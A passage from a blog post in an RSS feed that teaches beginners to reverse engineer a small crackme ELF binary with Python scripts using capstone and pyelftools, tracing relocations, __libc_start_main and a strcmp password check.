1800 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1801 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
1802 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span>
1803</code></pre></div>
1804
1805<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1806
1807<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
1808<span class="go">0x6a0: xor ebp, ebp</span>
1809<span class="go">0x6a2: mov r9, rdx</span>
1810<span class="go">0x6a5: pop rsi</span>
1811<span class="go">0x6a6: mov rdx, rsp</span>
1812<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1813<span class="go">0x6ad: push rax</span>
1814<span class="go">0x6ae: push rsp</span>
1815<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1816<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1817<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1818<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1819<span class="go">0x6ca: hlt</span>
1820<span class="go">... snip ...</span>
1821</code></pre></div>
1822
1823<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1824
1825<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1826
1827<blockquote>
1828 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1829</blockquote>
1830
1831<p>To try and find these relocation entries, we write a third script.</p>
1832
1833<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1834
1835<span class="kn">import</span> <span class="nn">sys</span>
1836<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1837<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1838
1839<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1840 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1841 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1842 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1843 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span>
1844 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
1845 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1846 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
1847 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
1848 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span>
1849</code></pre></div>
1850
1851<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1852
1853<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1854<span class="go">.rela.dyn:</span>
1855<span class="go"> 0x200d98</span>
1856<span class="go"> 0x200da0</span>
1857<span class="go"> 0x201008</span>
1858<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1859<span class="go">**__libc_start_main 0x200fe0**</span>
1860<span class="go">__gmon_start__ 0x200fe8</span>
1861<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1862<span class="go">__cxa_finalize 0x200ff8</span>
1863<span class="go">stdin 0x201010</span>
1864<span class="go">.rela.plt:</span>
1865<span class="go">puts 0x200fb0</span>
1866<span class="go">printf 0x200fb8</span>
1867<span class="go">fgets 0x200fc0</span>
1868<span class="go">strcmp 0x200fc8</span>
1869<span class="go">malloc 0x200fd0</span>
1870</code></pre></div>
1871
1872<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
1873
1874<blockquote>
1875 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1876</blockquote>
1877
1878<p>And its definition is like so</p>
1879
1880<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
1881<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
1882<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1883<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1884<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1885<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1886</code></pre></div>
1887
1888<p>Looking back at our disassembly</p>
1889
1890<pre><code>0x6a0: xor ebp, ebp
18910x6a2: mov r9, rdx
18920x6a5: pop rsi
18930x6a6: mov rdx, rsp
18940x6a9: and rsp, 0xfffffffffffffff0
18950x6ad: push rax
18960x6ae: push rsp
18970x6af: lea r8, [rip + 0x23a]
18980x6b6: lea rcx, [rip + 0x1c3]
1899**0x6bd: lea rdi, [rip + 0xe6]**
19000x6c4: call qword ptr [rip + 0x200916]
19010x6ca: hlt
1902... snip ...
1903</code></pre>
1904
1905<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1906
1907<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1908
1909<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1910
1911<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1912
1913<pre><code>printf 0x650
1914fgets 0x660
1915strcmp 0x670
1916malloc 0x680
1917</code></pre>
1918
1919<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1920
1921<pre><code>0x7b2: mov edi, 0xa ; 10
19220x7b7: call 0x680 ; malloc
1923</code></pre>
1924
1925<p>The loop to populate the <code>*pw</code> string</p>
1926
1927<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
19280x7d3: cdqe
19290x7d5: lea rdx, [rax - 1]
19300x7d9: mov rax, qword ptr [rbp - 0x10]
19310x7dd: add rax, rdx
19320x7e0: movzx eax, byte ptr [rax]
19330x7e3: lea ecx, [rax + 1]
19340x7e6: mov eax, dword ptr [rbp - 0x14]
19350x7e9: movsxd rdx, eax
19360x7ec: mov rax, qword ptr [rbp - 0x10]
19370x7f0: add rax, rdx
19380x7f3: mov edx, ecx
19390x7f5: mov byte ptr [rax], dl
19400x7f7: add dword ptr [rbp - 0x14], 1
19410x7fb: cmp dword ptr [rbp - 0x14], 8
19420x7ff: jle 0x7d0
1943</code></pre>
1944
1945<p>And this looks like our <code>strcmp()</code></p>
1946
1947<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
19480x847: mov rax, qword ptr [rbp - 8] ; *pw
19490x84b: mov rsi, rdx
19500x84e: mov rdi, rax
19510x851: call 0x670 ; strcmp
19520x856: test eax, eax ; is = 0?
19530x858: jne 0x868 ; no? jump to 0x868
19540x85a: lea rdi, [rip + 0xae] ; "haha yes!"
19550x861: call 0x640 ; puts
19560x866: jmp 0x874
19570x868: lea rdi, [rip + 0xaa] ; "nah dude"
19580x86f: call 0x640 ; puts
1959</code></pre>
1960
1961<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1962
1963<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1964
1965<h2 id="conclusion">Conclusion</h2>
1966
1967<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1968
1969<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1970
1971<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1972]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1973</rss>